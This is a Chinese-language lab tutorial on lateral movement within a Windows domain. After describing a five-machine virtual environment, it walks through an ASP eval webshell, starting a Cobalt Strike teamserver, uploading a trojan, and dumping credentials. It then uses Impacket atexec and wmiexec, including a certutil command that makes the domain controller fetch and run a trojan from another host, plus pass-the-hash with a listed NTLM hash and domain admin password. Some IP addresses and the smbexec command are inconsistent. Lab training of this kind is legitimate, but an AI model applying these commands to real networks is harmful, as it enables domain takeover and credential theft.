目录
- 一、概念
- 二、环境说明
-
- 1、DC
- 2、WebServer
- [3、SQL Server](#3、SQL Server)
- 4、FileServer
- 5、Marry
- [2.6 Jack](#2.6 Jack)
- 三、内网横向移动
一、概念
-
横向移动
指攻击者从已控制主机,跳转迁移到内网其他主机的攻击行为。攻入内网后,以沦陷主机为跳板,探测内网存活资产、锁定目标,依托内网代理和窃取的账号凭据,通过各类远程控制技术渗透拿下更多设备,最终窃取机密数据、掌控内网关键资产。
-
网络结构解读
Web 服务器是唯一外网出口,仅它可访问外网;内网其他主机仅能域内互通、无法联网,且所有域内主机均由域控 DC 统一管理。
-
渗透目标
已通过 Web 渗透拿下 Webserver 权限,以此机为唯一跳板进行内网横向移动,最终获取域控权限。
-
演示约束
所有工具上传、脚本运行仅在 Webserver 上操作,不触碰其他内网主机。

二、环境说明
注意:①主机的开启顺序一定为DC、WebServer、FileServer或SQL Server、Mary或Jack。②环境在资源"内网环境文件(5台Vmware虚拟机环境)"中获取。
1、DC
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.21 |

2、WebServer
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.31 |

3、SQL Server
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2012 |
| IP地址 | 102.168.179.32 |

4、FileServer
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2003 |
| IP地址 | 102.168.179.30 |

5、Marry
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 7 |
| IP地址 | 102.168.179.25 |

2.6 Jack
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 8.1 |
| IP地址 | 102.168.179.29 |

三、内网横向移动
1、上传木马并在CS中上线
Step1 :在WebServer的IIS中添加1.asp文件,用于后续的WebShell。
新建ASP脚本:
bash
# 文件名为1.asp
<% eval request("test") %>
备注:此处默认站点中存在漏洞被攻击者利用并上传了WebShell。
Step2:启动CS的Server端和Client端
Server端(Kali机中运行):
bash
$ cd /home/kali/tools/CS4.8 #切换到我们上传的CS4.8⽬录中
$ cd server #切换到server⽬录
#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali:
[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050 # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d
Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到WebServer(网站服务器)运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

将保存好的文件(cs_1.exe)通过蚁剑上传至WebServer。

在中运行了cs_1.exe后,在CS中成功上线了。

Step3:提升权限

2、信息收集
Step1:在WebServer的System会话下,获取Hash和明文密码

3、Impacket套件
impacket是含IP/TCP/ICMP等基础协议及大量Windows通信协议的域渗透工具包;通过开启代理,可在自己的主机中对目标主机实施攻击,无需上传其它exe文件。
Step1:设置代理,能访问内网
Step2:下载Impacket套件,以及安装依赖
Impacket下载地址:链接
bash
# 运行在Python3的环境中
# 安装依赖
C:> cd C:\software\impacket-master
C:> python setup.py install
(1)atexec
Step1:执行命令,查看域控主机的系统权限:
bash
C:> cd C:\software\impacket-master\examples
C:> python psexec.py god/administrator:Admin12345@192.168.179.21 "whoami"

Step2:执行下载命令将木马下载到本地:(因为目标机器无法联网,只能构造本地下载地址)
bash
C:> python atexec.py god/administrator:Admin12345@192.168.179.21 "certutil.exe -urlcache -split -f http://192.168.179.31/5555.exe C:\5555.exe"

- atexec.exe
远程执行命令工具(在 Windows 上跑) - god/administrator:Admin12345
域管理员账号密码
域名:god
账号:administrator
密码:Admin12345 - @192.168.3.21
目标 = 域控(域控制器) - "certutil.exe ..."
让域控 执行下载命令 - http://192.168.179.31:80/5555.exe
Web服务器地址,存放木马5555.exe
Step3:执行脚本,成功上线!
bash
C:> python atexec.py god/administrator:Admin12345@192.168.179.21 "C:\5555.exe"

Step4:横向到 MARY-PC 主机

如果提示错误,还需设置Session,具体如下图所示:

当上述操作配置好以后,即可成功上线MARY-PC。如下图所示:

因此,拿到DC域控后,可轻易横向移动到其它域成员主机。
(2)wmiexec
Impackt套件无明文密码时利用
bash
C:> python wmiexec.py god/Administrator@192.168.179.21 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
连接成功后得到如下图片的运行效果:

查看IP和用户名:

后续操作可以对域中其它成员进行登录了。后续操作与atexec上传木马并上线,以及横向移动操作类似,无需赘述。
(3)smbexec
bash
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 C:> god/Administrator@192.168.179.21 -codec gbk
